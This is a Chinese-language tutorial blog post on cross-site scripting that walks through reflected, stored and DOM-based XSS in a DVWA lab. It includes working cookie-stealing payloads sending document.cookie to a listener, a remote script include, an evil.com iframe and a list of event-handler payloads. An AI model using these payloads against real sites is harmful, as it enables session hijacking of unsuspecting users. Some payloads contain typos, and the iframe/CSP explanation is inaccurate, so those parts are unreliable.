xss漏洞詳解


一、概念

  XSS(cross site scripting)跨站腳本為了不與網頁中層疊樣式表(css)混淆,故命名為xss。黑客將惡意代碼嵌入網頁中,當客戶網文網頁的時候,網頁中的腳本會自動執行,從而達成黑客攻擊的目的。

  XSS分類:反射型xss、持久性xss、dom型xss。

二、反射型xss

   非持久化,一般需要欺騙客戶去點擊構造好的鏈接才能觸發代碼。

   

 

 

 

   可以看到這個窗口將我填寫的信息寫到了瀏覽器頁面中,那這個時候我將信息修改成<script>alert('hhh')</script>,可以看到我嵌入的代碼被執行了。

  

 

  這個時候我們將構造好的url發給麗麗http://dvwa/vulnerabilities/xss_r/?name=<script>new Image().src="http://localhost:5555?cookie="+encodeURI(document.cookie);</script>

  然后開始偵聽本地5555端口,在麗麗點擊這個連接以后,我們就獲取到了麗麗的cookie信息。

      

 

 

三、持久型xss

  顧名思義,這種xss漏洞危害極大,因為它可以長久的保存在網頁中,每個瀏覽過此網頁的用戶都會中招,很多xss蠕蟲的爆發都是基於持久型xss,一般在留言板,評論區類位置容易出現此漏洞。

  例:下面是一個有瀏覽板功能的網頁,我們將我們的攻擊代碼留在頁面中<script>alert('hhh')</script>

  

 

 

   這樣我們每次訪問這個頁面都會接到hhh的彈窗,然后我們換一下payload,<script>new Image().src="http://localhost:5555?cookie="+document.cookie;</script> ,這樣無論是那一個用戶進入留言板這個頁面,都會把自己的cookie彈到我們的監聽窗口上。

 

三、DOM型xss

  關於DOM型xss首先要明白一個問題,一個網頁是經過怎么樣的步驟顯示在瀏覽器上的?

  首先肯定是要向目標服務器發出訪問請求,服務器收到請求后,根據我們的請求內容返回網頁源碼,然后它在我們的瀏覽器上解析,渲染,最后呈現出一個完整的網頁在我們的眼前。DOM型xss與上面兩種最大的區別就是,dom型xss漏洞是基於文檔對象模型(Document Objeet Model,DOM)的,它不需要經過后端,它是在瀏覽器解析渲染服務器源碼的時候產生的,所以我們在抓包的過程中是看不到dom型xss有關的內容的。

  例:我們構造如下url:http://localhost/iisstart.html?hhh 查看網頁內容如下,如果我們將?hhh替換為相應的xss攻擊代碼,就會產生相應的效果。

  

  然后我們在抓包工具查看服務器對剛剛請求的回包,我們發現構造的?hhh並沒有記錄到抓包工具中,證明服務器給我們返回的網頁源碼並沒有出現xss,它是在瀏覽器渲染執行js的時候出現的,這就是dom型xss和其他兩種xss的區別。

  

 

 

 四、XSS的payload

  XSS可以插在哪里? 
  用戶輸入作為script標簽內容
  用戶輸入作為HTML注釋內容
  用戶輸入作為HTML標簽的屬性名
  用戶輸入作為HTML標簽的屬性值
  用戶輸入作為HTML標簽的名字
  直接插入到CSS里  

  <script>標簽:script是最有直接的xss攻擊載荷,腳本標記可以應用外部的js代碼,或者將腳本插入網頁之中。

    <script>alert("hhh")</script>

    <script src="http://1.1.1.1/a.js"></script>

  <img >標簽:

    <img src="2" onerror=alert('hhh')>

       <img src="2" onerror=alert(/hhh/)>
    <img src="javascript:alert("XSS");">
    <img dynsrc="javascript:alert('XSS')">
    <img lowsrc="javascript:alert('XSS')">
  <table>標簽:

    <table background="javascript::alert('hhh')">

  <iframe>標簽:<iframe>標簽允許另一個HTML網頁的嵌入到父頁面。IFrame可以包含JavaScript,但是,請注意,由於瀏覽器的內容安全策略(CSP),iFrame中的JavaScript無法訪問父頁面的DOM。然而,IFrame仍然是非常有效的解除網絡釣魚攻擊的手段。

    <iframe src=”http://evil.com/xss.html”>

 

  

 

 

 

 

 

  

  

 

 

   


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM